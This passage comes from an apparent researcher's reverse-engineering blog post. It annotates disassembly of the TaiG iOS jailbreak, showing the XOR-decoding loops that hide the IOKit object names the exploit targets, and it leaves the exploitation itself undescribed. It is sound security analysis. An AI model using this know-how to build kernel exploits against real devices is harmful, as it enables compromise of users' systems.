    000000010000c704        NOP                     ^[[0;32m^[[0;0m
    000000010000c708        ADR    x20, 25918       ^[[0;32m; R20 = 0x100012c46^[[0;0m ; "rgca/[204';b/[]/?"
    000000010000c70c        NOP                     ^[[0;32m^[[0;0m
    000000010000c710        ADR    x10, 35073       ^[[0;32m; R10 = 0x100015011^[[0;0m
    000000010000c714        NOP                     ^[[0;32m^[[0;0m
    loop_to_copy_IOPMRootDomain:
    ;
    ; This is the first of several loops used in TaiG to copy the names of the
    ; IORegistry objects used in the exploit. Here's how it works:
    ;
    ; x8  is the loop iterator, holding the strlen(IORegistryNameBeingCopied) + 1
    ; w11 is the byte to be copied and "decrypted".
    ; w12 is the "key", which is simply xor'ed.
    ; x10 is the destination string
    ;
    ; For the first loop we have:
    ;
    ; x9  = 0x100014f38;
    ; x10 = 0x100015011;
    ;
    ; for (x8 = 0; x8 < 15; x8++)
    ;    {
    ;         w11 = x9[x8] + 99;
    ;         w12 = x20[x8];
    ;         x10[i] = w11 xor w12;
    ;    } 
    000000010000c718        ldrb   w11, [x9, x8]   ^[[0;32m^[[0;0m W11 = x9[x8];
    000000010000c71c        add    w11, w11, #99  ^[[0;32m^[[0;0m W11 += 99;
    000000010000c720        ldrb   w12, [x20, x8]
    000000010000c724        eor    w11, w11, w12
    000000010000c728        strb   w11, [x10, x8]
    000000010000c72c        >ADD   x8, x8, #0x1     ^[[0;32m; ..R8 = R8 (0x0) + 0x1 = 0x1^[[0;0m
    000000010000c730        CMP    x8, #15          ^[[0;32m^[[0;0m
    000000010000c734        B.NE   loop_to_copy_IOPMRootDomain      ^[[0;32m^[[0;0m
    ;     w11 = 0x00000100 w12 = 0x0000005d
    000000010000c738        ADD   x0, x19, #0x180   ^[[0;32m; X0 = R19 + 0x180 = 0x100014f38 + 0x180 = 0x1000150b8^[[0;0m
    000000010000c73c        ADR    x1, 35029        ^[[0;32m; X1 = 0x100015011^[[0;0m ; "IOPMrootDomain"
    000000010000c740        NOP                     ^[[0;32m^[[0;0m
    
    ;
    ; strcpy (X19 + 0x180, "IOPMrootDomain");
    ;
    000000010000c744        BL     0x100011b2c      ^[[0;32m; 0x100011b2c ^[[0;34m_strcpy^[[0;0m
    000000010000c748        MOVZ   X8, #0           ^[[0;32m; R8 = 0x0^[[0;0m
    000000010000c74c        ADR    x9, 34811        ^[[0;32m; R9 = 0x100014f47^[[0;0m
    000000010000c750        NOP                     ^[[0;32m^[[0;0m
    000000010000c754        ADR    x10, 34991       ^[[0;32m; R10 = 0x100015003^[[0;0m
    000000010000c758        NOP                     ^[[0;32m^[[0;0m
    
    loop_to_copy_IOHIDResource:
    000000010000c75c        ldrb   w11, [x9, x8]
    000000010000c760        add    w11, w11, #99
    000000010000c764        ldrb   w12, [x20, x8]
    000000010000c768        eor    w11, w11, w12
    000000010000c76c        strb   w11, [x10, x8]
    000000010000c770        ADD   x8, x8, #0x1      ^[[0;32m; ..R8 = R8 (0x0) + 0x1 = 0x1^[[0;0m
    000000010000c774        CMP    x8, #14          ^[[0;32m^[[0;0m
    000000010000c778        B.NE   loop_to_copy_IOHIDResource       ^[[0;32m^[[0;0m
    ;
    000000010000c77c        >ADD   x0, x19, #0x1c0  ^[[0;32m; X0 = X19 (0x100014f38) + 0x1c0^[[0;0m
    000000010000c780        ADR    x1, 34947        ^[[0;32m; R1 = 0x100015003^[[0;0m ; "IOHIDResource"
    000000010000c784        NOP                     ^[[0;32m^[[0;0m
    ; strcpy (X19 + 0x1c0, "IOHIDResource");
    000000010000c788        BL     0x100011b2c      ^[[0;32m; 0x100011b2c ^[[0;34m_strcpy^[[0;0m
    ; You get the idea of the rest, I hope..
    ;
    ; 000000010000c7a0: loop to copy IOHIDLibUserClient
    ;
    ;
    ; 0x10000c7e8: loop_to_copy_IOHIDEventService
    ;
    ; 0x10000c830: loop_to_copy_IOUserClientClass
    ;
    ; 0x10000c878: loop_to_copy_ReportDescriptor
    ;
    ; 0x10000c8c0: loop_to_copy_ReportInterval
    ;
    ; Optimization: Branch to strcpy, so we return as it returns (saving a RET)
    000000010000c8f4        B      0x100011b2c      ^[[0;32m; 0x100011b2c ^[[0;34m_strcpy^[[0;0m
    
    
    @TODO: finish this sometime

    Exploiting the bug requires quite a few IOUserClientConnect messages as well as direct mach_msg calls. If you're interested in that, drop me a line. it's too complicated to write this and there's only so much I could do on one flight. Incidentally, the Apple bulletin states no less than *three* bugs in IOHIDFamily. Human interface devices, indeed :-)

    Final notes (and shameless plug)

    I hope you liked this, and found this informative. It certainly passed my time :-) And..

    Post Scriptum

    Happy Valentine's Day everybody. I hope yours is better than mine. Upon landing, I just learned that my ongoing flight to BOS was canceled (weather). I guess I'm taking the long way home.


    * - One can argue that it's not information leakage per se, since you can also figure out function starts by doing a first pass to find BL instructions (akin to x86's call). Still, it makes it easier (certainly for jtool) to auto-detect functions, and not bother with disassembling data, which would be nonsensical - or worse - misleading